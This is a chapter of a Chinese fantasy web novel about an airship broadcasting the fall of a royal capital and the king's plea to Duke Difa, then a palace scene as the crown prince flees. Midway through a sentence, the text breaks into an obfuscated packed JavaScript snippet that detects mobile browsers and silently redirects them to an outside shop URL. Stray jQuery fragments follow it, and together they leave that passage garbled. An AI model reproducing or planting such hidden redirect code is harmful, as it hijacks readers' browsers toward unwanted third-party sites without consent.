那飞艇是如此巨大,悬浮在空中,投下的阴影笼罩住底下的战场,营地里的士兵们都不约而同地抬头仰望着它。
“这是什么玩意儿?这飞翔的高度不像是施加了悬浮魔法的效果。”
“是妖精们造的东西吗,它到这里要干嘛?”
一个校官恨铁不成钢地看着自己呆愣的兵,叱责道:“管它要干嘛,立刻架起弓弩对准飞艇,在箭头缠上浸满了煤油的布条,一有什么风吹草动,直接发射火箭烧了它完事!”
士兵也意识到如果这艘飞船突然对他们发起攻击,那么依仗制高优势,可以轻易地对他们造成重大打击,便连忙正色起来,去架起弓弩和拉来炮台。
正当士兵忙活起来时,飞艇突然剧烈抖动了一下,随即一个巨大的投影通过显像魔法投到了飞艇光滑的气囊表面,上面播放出一段影像,像是什么高耸的建筑物在烈火中熊熊燃烧。
眼尖的人认出那是什么地标,率先惊异地喊叫起来,“哦不!那是伫立在王城中心的雄心钟塔,雄心钟塔被什么东西给点燃了!”
众目睽睽之下,影像中的巨型钟塔四处着火,表盘边缘的钢铁已经被烧融得变形,受重力牵引往下拉伸,塔楼上的爱德华大帝塑像也受高温影响,黄铜融化成水滴状,从眼角淌下,如同在为自己的帝国和子民流下悲恸的泪水。
整座王城的一半城区都已在火海中接近陷落,影魔骑在灾厄大鼠身上屠戮人类,而人类士兵则试图在城市巷道中展开防御。
——显像魔法是对现实情况的反应,这代表它放映出来的一切都是真实的,是正在发生或已经发生过的事情。
有人不敢置信地瞪大了眼睛,口中喃喃道:“怎么会发生这种事……王城不是有最强的魔法防护罩保护着吗,皇家军团去哪儿了,为什么会那么轻易就被影魔攻破。”
狄法的表情阴郁,他想到伊洛里说的影魔已经在暗中取代了内厄姆的事,在他和铁刃军身陷囹圄的这段时间内,王宫内肯定发生了巨变,有可能是影魔蛊惑了爱德华三世,欺骗他打开了防护罩,才导致这种惨状发生。
在城市陷落的影像结束播放后,又弹出另一段影像,爱德华三世那张满是皱纹的老脸在灰朦的天色中显得无比沧桑和疲累,他身后站着一排同样面如死灰的宫廷侍臣们。
“诸君,”爱德华三世的语调沉重且沙哑,他仿佛在一夜之间苍老了十岁,肩膀垮下去,原本的心气半分不剩,“在昨日,影魔的大军突破了城外的哨站和防护罩,第三军团的全体将士都已经前往洞开的城门与影魔展开战斗,城中的多重防护罩也已经开启。”
“但我们并不知道这能抵挡多少时间,我们正在遭遇一场前所未有的战役。”
此言一出,军队里顿时一片吸气声响起。
“因此王城需要你们的力量,需要你的力量——卡斯德伊大公,请回来吧,为了亚瓦尔,为皇室与卡斯德伊延续百年的情谊,一同抵挡凶残的敌人,为我们受苦受难的同族免去苦难,就像百年前所做的那样。”爱德华三世抬眸,他浑浊的眼睛望向空中,明明视线没有聚焦,但所有人都能知道他是对着狄法说的。
至高的皇族现在低下高贵的头颅,说着需要卡斯德伊的庇护。
狄法抿唇,他身边的麦考利则忧心忡忡地看向自己的统帅,“狄法大人,我们要回去吗?”
麦考利不是驽钝的傻子,经历过援军怎么等都不来的绝望,当然明白这是皇帝刻意的安排,他想要铁刃军覆灭,最好是所有人死得一个不剩,如此他就能名正言顺地剥夺卡斯德伊的爵位,收回封地。
现在眼看王都要保不住,就巴巴地凑过来,想要靠几句话就让铁刃军全体为他卖命,简直没脸皮至极,令人气得想发笑。
随着爱德华三世的讲话结束,显像魔法中断了,飞艇在天空中掉转了方向,飞往王城的方向。
狄法望着那飞艇,久久沉默不言,他的神情晦涩得难以分辨,棱角分明的下颚线显出冷酷的弧线。
狄法:“麦考利副官,军中很多人的家人也在王城里,我不救他们就是罔顾生命,士兵们会愤怒,甚者会因此而造反。”
爱德华三世特意让飞艇过来,在全军面前公告这件事,就是为了架起狄法,让他迫于军心所向,不得不回城援救。
麦考利微微睁大了眼睛,他看见狄法扯出了戏谑的冷笑,即使脸色因为伤势而变得苍白,也无损他眼眸中熠熠燃起的暗光。
“那么就如他所愿,卡斯德伊会来。”狄法说。
王城的门户大开,自百年来第一次欢迎卡斯德伊精兵的踏足,这是个再珍稀不过的机会,他不会轻易地放过。
麦考利的心头一冷,像是有寒气窜上了脊椎,冷得他说不出话来。
狄法说要回撤的命令很快就传遍了整个军队,一些忧心自己亲人安危的士兵放下心来,开始利落地拆除营地的帐篷,收整物资。
在这过程中,伊洛里被狄法强行留在了帐篷里,只是不让他走,但狄法没有时间跟他说什么话。
狄法只扔下一句“我们的事还没完”就匆匆去处理撤离的准备事务。
伊洛里看着忙碌的麦考利,想要帮忙却不知道从何帮起,“麦考利……副官,请问有什么我能帮忙的吗?”
麦考利连忙摆摆手,说:“不必劳烦您,我能处理好。”
他一边说着一边把桌上作满了标记的地图和羽毛笔卷在一起,使用简单的悬浮魔法让东西都拢在一起,但东西一下子聚拢得太多,一把刀身带着槲寄生花纹的匕首脱离了法术效果,落在一张地图上——
匕首尖锐的刀刃刺破了地图上代表王城的一角。
-------------------------------------
皇宫内,爱德华
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073367|149387||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
三世说完一番动员的发言后做了个手势,让旁边的四星魔法师中断显像魔法。
他转过身,没走几步,突然踉跄了一下。
大皇子莱安忙扶住爱德华三世,说:“爸爸,您辛苦了,快坐下休息一会儿。”
“来人,去端一杯能回复体力的麝蜜花水过来!”
“不,莱安,别瞎忙了,我没事。”爱德华三世看着自己的大儿子,因为常年服用回春魔药的缘故,即使今年已经65岁了,莱安依旧像个年轻人,五官白皙英俊,身材健美,有着跟他如出一辙的灰色眼睛和金色卷发。
唯一一点不同的是,莱安的灰眸里倒映出的不是斯图亚特皇族的坚毅和果断,而是软弱和虚浮,累年寻花问柳、纵情声色的经历在他的眼睑留下淡青色的痕迹。
爱德华三世心里悲哀,帝王的血脉却孕育出了一个软弱的后代,等他再撑不住要去地下面见先祖时,莱安该如何才镇得住杀伐果决的狄法·卡斯德伊,如何守护住这百年基业。
爱德华三世虚弱地说:“莱安,你带上夏洛蒂坐上马车,坎伯兰将军和他的副官会护送你们出城。”
夏洛蒂闻言立刻哭泣了起来,挽住爱德华三世的手臂,泪水涟涟地哀求道:“哦不爸爸,别让我离开您,我想留下来陪着您,我是绝对不会在这种时候抛下您不顾的。”
莱安则是结巴了一下,“那、那您呢,爸爸,您不跟我们一起走吗?”
爱德华三世环顾大殿一周,往日描金绘彩、奢华的大殿在此时显得黯淡,他额头的皱纹层叠在一起:“我留下在这里等待。”
他没有明说是等待影魔攻破宫殿,还是等待援军到来。
莱安听见这番话,心里泛起波澜,即使父亲不说,他也很想跑,眼看就要守不住这座城,他可不要留下来跟那些贱民一起死。
莱安烦躁道:“夏洛蒂你别再哭了,哭哭哭整日就知道哭哭啼啼,现在可不是你哭的时间,这里也没有哪个有耐心的王子能够给你递手帕,温声安慰你。爸爸说什么就做什么,快过来,我们立刻就要走。”
爱德华三世看出莱安心里的想法,但他已经无力再教导莱安要变得坚强,要顶天立地。
“莱安,别训斥你的妹妹,既然夏洛蒂不愿意走,那就留下吧。”
他对旁边的坎伯兰·范伦丁挥了挥手,“坎伯兰将军,护送大皇子离开。”
坎伯兰领意上前,拉住莱安说:“大皇子殿下,请跟我来这边。”他几乎是半拉半推地把人带出了大殿,外边已经有进行了乔装的马车在等待。
爱德华三世在王座上坐下,他抚正头顶的王冠,感受到熟悉的重量压着。
阴影落在他的眉骨上,表情晦暗而阴冷,夏洛蒂则哀泣着伏在他的腿上,为前途未卜的未来肝肠寸断。
周遭的侍臣都低着头,无言地拱卫着这位已日薄西山、无力回天的王朝统治者。